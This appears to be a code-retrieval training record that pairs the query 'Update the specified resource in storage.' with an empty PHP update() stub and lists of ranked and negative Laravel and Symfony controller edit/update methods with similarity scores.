"public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }",
"public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('consultas::edit');\n }",
"public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }",
"public function edit()\n {\n return view('dashboard::edit');\n }",
"public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }",
"public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }",
"public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }",
"public function edit() {\n return view('routes::edit');\n }",
"public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }",
"public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('cataloguemodule::edit');\n }",
"public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }",
"public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }",
"public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }",
"public function edit()\n {\n return view('website::edit');\n }",
"public function edit()\n {\n return view('inventory::edit');\n }",
"public function edit()\n {\n return view('initializer::edit');\n }",
"public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }",
"public function edit($id)\n {\n return view('backend::edit');\n }",
"public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }",
"public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }",
"public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}",
"public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }",
"public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }",
"public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }",
"public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }",
"public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}"
]
| [
"0.78550774",
"0.7692893",
"0.7273195",
"0.7242132",
"0.7170847",
"0.70622855",
"0.7053459",
"0.6982539",
"0.69467914",
"0.6945275",
"0.6941114",
"0.6928077",
"0.69019294",
"0.68976134",
"0.68976134",
"0.6877213",
"0.68636996",
"0.68592185",
"0.68566656",
"0.6844697",
"0.68336326",
"0.6811471",
"0.68060875",
"0.68047357",
"0.68018645",
"0.6795623",
"0.6791791",
"0.6791791",
"0.6787701",
"0.67837197",
"0.67791027",
"0.677645",
"0.6768301",
"0.6760122",
"0.67458534",
"0.67458534",
"0.67443407",
"0.67425704",
"0.6739898",
"0.6735328",
"0.6725465",
"0.6712817",
"0.6693891",
"0.6692419",
"0.6688581",
"0.66879624",
"0.6687282",
"0.6684741",
"0.6682786",
"0.6668777",
"0.6668427",
"0.6665287",
"0.6665287",
"0.66610634",
"0.6660843",
"0.66589665",
"0.66567147",
"0.66545695",
"0.66527975",
"0.6642529",
"0.6633056",
"0.6630304",
"0.6627662",
"0.6627662",
"0.66192114",
"0.6619003",
"0.66153085",
"0.6614968",
"0.6609744",
"0.66086483",
"0.66060555",
"0.6596137",
"0.65950733",
"0.6594648",
"0.65902114",
"0.6589043",
"0.6587102",
"0.65799844",
"0.65799403",
"0.65799177",
"0.657708",
"0.65760696",
"0.65739626",
"0.656931",
"0.6567826",
"0.65663105",
"0.65660435",
"0.65615267",
"0.6561447",
"0.6561447",
"0.65576506",
"0.655686",
"0.6556527",
"0.6555543",
"0.6555445",
"0.65552044",
"0.65543956",
"0.65543705",
"0.6548264",
"0.65475875",
"0.65447706"
]
| 0.0 | -1 |
Update the specified resource in storage. | public function update(Request $request, $id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }",
"public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }",
"public function update(Request $request, Resource $resource)\n {\n //\n }",
"public function updateStream($resource);",
"public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }",
"protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }",
"public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }",
"public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}",
"public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }",
"public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }",
"protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }",
"public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }",
"public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }",
"public function update($path);",
"public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }",
"public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }",
"public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}",
"public function updateStream($path, $resource, Config $config)\n {\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }",
"public function update($data) {}",
"public function update($data) {}",
"public function putStream($resource);",
"public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function update($entity);",
"public function update($entity);",
"public function setResource($resource);",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }",
"public function isUpdateResource();",
"public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }",
"public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }",
"public function store($data, Resource $resource);",
"public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }",
"public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }",
"public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }",
"public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }",
"public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }",
"public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }",
"public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }",
"public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }",
"public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }",
"public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }",
"public function update(Qstore $request, $id)\n {\n //\n }",
"public function update(IEntity $entity);",
"protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }",
"public function update($request, $id);",
"function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}",
"public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }",
"public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }",
"protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }",
"abstract public function put($data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function testUpdateSupplierUsingPUT()\n {\n }",
"public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }",
"public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }",
"public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }",
"public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }",
"public abstract function update($object);",
"public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }",
"public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }",
